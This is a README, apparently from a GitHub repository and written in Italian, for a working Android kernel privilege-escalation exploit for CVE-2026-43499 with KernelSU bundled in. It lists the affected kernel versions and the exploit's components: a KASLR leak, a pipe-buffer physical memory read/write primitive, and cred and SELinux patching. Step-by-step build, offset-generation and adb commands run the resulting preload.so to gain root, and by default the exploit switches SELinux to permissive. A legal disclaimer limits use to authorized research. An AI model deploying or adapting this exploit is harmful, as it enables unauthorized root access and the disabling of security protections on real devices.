woshimaniubi8/cve-2026-43499-root-kernelsuAdattamento dell'escalation dei privilegi locale basato sulla vulnerabilità del kernel CVE-2026-43499, con integrazione di KernelSU embedded. CVE-2026-43499+KernelSU modalità jailbreak.
# CVE-2026-43499-root-KernelSU
Adattamento per l'escalation locale dei privilegi basato sulla vulnerabilità del kernel CVE-2026-43499, con KernelSU integrato. La compilazione genera `preload.so`; dopo un exploit riuscito, KernelSU viene avviato in modalità `late-load` (modalità jailbreak). Supporta la generazione di `target.h` da `(xbl_config.img / vendor_boot.img) + boot.img`.
Adattamento per l'escalation locale dei privilegi basato su una vulnerabilità del kernel, con KernelSU integrato.
Compila e genera `preload.so`; al termine dell'exploit, KernelSU viene avviato in modalità `late-load` (modalità jailbreak).
Supporta la generazione di `target.h` da `(xbl_config.img / vendor_boot.img) + boot.img` o altri metodi.
Progetti di riferimento:
- [Linuxoid-cn/CVE-2026-43499-Poc-Analysis](https://github.com/Linuxoid-cn/CVE-2026-43499-Poc-Analysis/)
- [x-spy/CVE-2026-43499-popsicle](https://github.com/x-spy/CVE-2026-43499-popsicle)
- [Colorful-glassblock/duchamp-root](https://github.com/Colorful-glassblock/duchamp-root)
>[!IMPORTANT]
>Lo sfruttamento non autorizzato di vulnerabilità per danneggiare, compromettere o ottenere accesso a sistemi informatici è vietato dalla legge. Questo progetto è fornito esclusivamente a scopo di ricerca, istruzione e apprendimento e può essere utilizzato solo su sistemi e ambienti per i quali è stata concessa un'autorizzazione preventiva. Qualsiasi utilizzo di questo progetto avviene a rischio esclusivo dell'utente. Gli autori e i collaboratori non si assumono alcuna responsabilità per un uso improprio di questo progetto né per eventuali danni, perdite o conseguenze legali derivanti dal suo utilizzo.
>
>Disclaimer: lo sfruttamento non autorizzato di vulnerabilità per danneggiare, compromettere o accedere illegalmente a sistemi informatici può violare leggi e regolamenti applicabili. Questo progetto è limitato alla ricerca, allo studio e ai test di sicurezza su sistemi e ambienti per i quali è stata ottenuta un'autorizzazione legale. Qualsiasi danno diretto o indiretto, responsabilità legale e altre conseguenze derivanti dall'uso, dall'abuso o dalla modifica di questo progetto sono a esclusivo carico dell'utente; gli autori e i collaboratori non si assumono alcuna responsabilità.
## Ambito dell'impatto
**Se la versione del kernel è {Linux Kernel}, rientra nell'ambito di impatto di questa vulnerabilità**
- Linux Kernel < commit **3bfdc63936dd4773109b7b8c280c0f3b5ae7d349**
- **2.6.39** <= {Linux Kernel} < **6.1.175**
- **6.2** <= {Linux Kernel} < **6.6.140**
- **6.7** <= {Linux Kernel} < **6.12.86**
- **6.13** <= {Linux Kernel} < **6.18.27**
- **6.19** <= {Linux Kernel} < **7.0.4**
## Stato attuale
| Target | Stato |
| --- | --- |
| `rodin` (predefinito) | Verificato |
| Altri `src/targets/*` | Riferimento |
## Struttura delle directory
```text
.
├── Makefile
├── build/
│ └── embed/
│ └── ksud # 被嵌入 preload.so 的 KernelSU userspace binary
├── tools/
│ ├── generate_target.py # 本仓库统一 target.h 生成入口
│ └── vendor/ # 从父目录同步的原始生成辅助脚本
└── src/
├── main.c # exploit 主流程
├── preload.c # LD_PRELOAD constructor + ksud 写出/启动
├── root.c # cred/seccomp/SELinux/root patch
├── slide.c # pselect KASLR slide leak
├── fops.c # pselect/FOPS route
├── pipe.c # pipe-buffer phys R/W primitive
├── ksud_blob.S # .incbin build/embed/ksud
├── kernelsnitch/ # KernelSnitch helpers
└── targets/
├── rodin/
├── beryl/
└── ...
```
## Compilazione
### Dipendenze
- Host Linux
- Android NDK
- Percorso predefinito: `~/android-ndk-r29`
- Oppure impostare: `ANDROID_NDK_HOME` / `ANDROID_NDK_ROOT` / `NDK_ROOT`
- `make`
- `git`
### Compilazione
```bash
make PROJECT=<target> -j$(nproc)
```
Output:
```text
build/<target>/bin/preload.so
```
### Elenco dei target disponibili
```bash
make list-projects
```
## Generazione di target.h
Questo repository include già uno script unificato per la generazione dei target:
```text
tools/generate_target.py
tools/vendor/generate_target.py
tools/vendor/generate_target_2.py
tools/vendor/detect_offset.py
```
`tools/generate_target.py` è lo script di ingresso. Fa riferimento e incapsula tutti i flussi di generazione dei target della directory padre e infine produce un `src/targets/<project>/target.h` completo, adattato al codice sorgente di questo repository.
Lo script non verifica obbligatoriamente `CONFIG_DEBUG_INFO_BTF=y` in IKCONFIG. Se gli offset dei campi delle strutture o il layout percpu di `entry_task` non possono essere verificati, viene stampato un avviso e la generazione prosegue.
Se nell'immagine non è disponibile alcun BTF utilizzabile, ad esempio quando compare:
```text
有效 vmlinux BTF 候选不唯一: []
```
Il generatore entra in una **modalità di fallback senza BTF**:
- Continua a recuperare gli offset dei simboli di funzioni/oggetti globali da kallsyms del `boot.img` corrente;
- Le macro dei campi strutturali/layout che non possono essere recuperate da BTF ereditano dal target template, il cui template predefinito è `rodin`;
- Nella parte superiore dell'header generato viene scritto un avviso che indica `without BTF` e il template utilizzato;
- Questo header garantisce la massima compilabilità possibile, ma l'affidabilità a runtime deve essere verificata su dispositivo reale.
È possibile specificare un template di fallback:
```bash
tools/generate_target.py --project <project> --boot boot.img --profile profile.json --template-target rodin
# 或
TARGET_TEMPLATE=rodin tools/generate_target.py --project <project> --boot boot.img --profile profile.json
```
#### 1. Generazione con boot.img + profile JSON
```bash
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
```
Scrittura predefinita:
```text
src/targets/<project>/target.h
```
È anche possibile invocare direttamente lo script:
```bash
tools/generate_target.py --project <project> --boot /path/to/boot.img --profile /path/to/profile.json
```
`profile.json` deve contenere le informazioni sugli indirizzi fisici, ad esempio:
```json
{
"p0_phys_offset": "0x40000000",
"p0_kernel_phys_load": "0x40000000"
}
```
#### 2. Rilevamento del profile da un dispositivo ADB con root
Solo generazione del profile:
```bash
make detect-profile PROFILE_OUT=profile.json
```
Rileva il profile e genera immediatamente il target:
```bash
tools/generate_target.py --project <project> --boot /path/to/boot.img \
--detect-adb-and-generate --profile-out profile.json
```
#### 3. Generazione con (xbl_config.img / vendor_boot.img) + boot.img
Lo script espone anche gli altri ingressi supportati dal generatore della directory padre:
```bash
tools/generate_target.py --project <project> --boot boot.img --xbl-config xbl_config.img
tools/generate_target.py --project <project> --boot boot.img --mtk-vendor-boot vendor_boot.img
tools/generate_target.py --project <project> --boot boot.img --mtk-partitions /path/to/partitions
```
##### Esempio
```bash
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json
```
Forma dell'output in caso di successo:
```text
生成成功: .../src/targets/<project>/target.h
kernel SHA-256: <sha256>
target macros: 168
```
`rodin` mantiene per impostazione predefinita il valore verificato su dispositivo reale:
```c
#define MM_STRUCT_SZ 0x500
```
Per sovrascriverlo:
```bash
tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...
```
## Aggiunta di un nuovo target
Si consiglia di generarlo dall'immagine boot e dal profile corrispondenti:
```bash
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
make PROJECT=<project> -j$(nproc)
```
Un header target completo includerà:
- Costanti di direct map / physical profile
- Offset degli oggetti di KASLR slide
- Offset di task / cred / SELinux
- Offset di pipe / fops / configfs
- Valori del layout pselect, ad esempio `PSELECT_WAITER_WORD_SHIFT`
- `MM_STRUCT_SZ` e valori di tuning di KernelSnitch
## Esecuzione
Il codice sorgente attuale contiene già i valori predefiniti; per l'esecuzione normale è sufficiente impostare `LD_PRELOAD` ed eseguire un programma qualsiasi (si consiglia `toybox id`).
```bash
adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
```
## Parametri di esecuzione predefiniti
La configurazione predefinita attuale è la seguente:
| Impostazione | Valore predefinito | Descrizione |
| --- | --- | --- |
| `KSUD_LATE_LOAD` | `1` | Esegue `ksud late-load` |
| `KSUD_ALLOW_SHELL` | `1` | Passa `--allow-shell` |
| `KSUD_PACKAGE` | `me.weishu.kernelsu` | Nome del pacchetto del manager passato a ksud (sembra non avere effetto) |
| `KSUD_DST` | `/data/local/tmp/ksud` | Percorso di estrazione del ksud integrato |
| `KSUD_SKIP_WRITE` | `0` | Scrive il ksud integrato per impostazione predefinita |
| `KSUD_DEFER_TO_PARENT` | `1` | Avvia ksud dal percorso del processo padre/corrente già patchato |
| `ROOT_PATCH_SELF` | `1` | Applica la patch al processo corrente come uid 0 |
| `DISABLE_SELINUX` | `1` | Imposta SELinux enforcing a permissive durante la patch di root |
| `ROOT_EXIT_SLEEP` | unset / `0` | Nessuna sleep aggiuntiva prima del ritorno |
Il comando ksud effettivamente eseguito per impostazione predefinita è:
```bash
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
```
Queste variabili d'ambiente possono comunque essere sovrascritte a runtime, ad esempio:
```bash
adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
```
Riutilizzare il `ksud` già estratto:
```bash
adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
```
## Pulizia
```bash
make clean
```
`make clean` mantiene `build/embed/ksud`, perché `src/ksud_blob.S` lo incorpora nel modo seguente:
```asm
.incbin "build/embed/ksud"
```
Se una pulizia manuale causa la perdita di `build/embed/ksud`, è possibile ripristinarlo:
```bash
git checkout -- build/embed/ksud
```
## Domande frequenti
### `.incbin "build/embed/ksud"` not found
Ripristinare il payload integrato e ricompilare:
```bash
git checkout -- build/embed/ksud
make PROJECT=rodin -j$(nproc)
```
### FOPS route restituisce `success=0`
`rodin` prevede l'utilizzo del layout pselect legacy/simple:
```text
pselect fdset simple layout shift=0
pselect returned attempt=1 ret=9 ... success=1
```
Se lo stato del dispositivo è stato compromesso da tentativi falliti, riavviare e riprovare:
```bash
adb reboot
```
### `F_SETPIPE_SZ` restituisce `EPERM`
Di solito è un problema di stato causato da tentativi falliti/residui; il riavvio è il modo più rapido per pulire:
```bash
adb reboot
```
### `ksud` si avvia ma `/proc/modules` non mostra KernelSU
Controllare i log:
```bash
adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'
```
Se necessario, eseguire manualmente in una root shell:
```bash
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
```
## Licenza
GPL-3.0. Vedi [`LICENSE`](https://github.com/woshimaniubi8/cve-2026-43499-root-kernelsu/blob/main/LICENSE).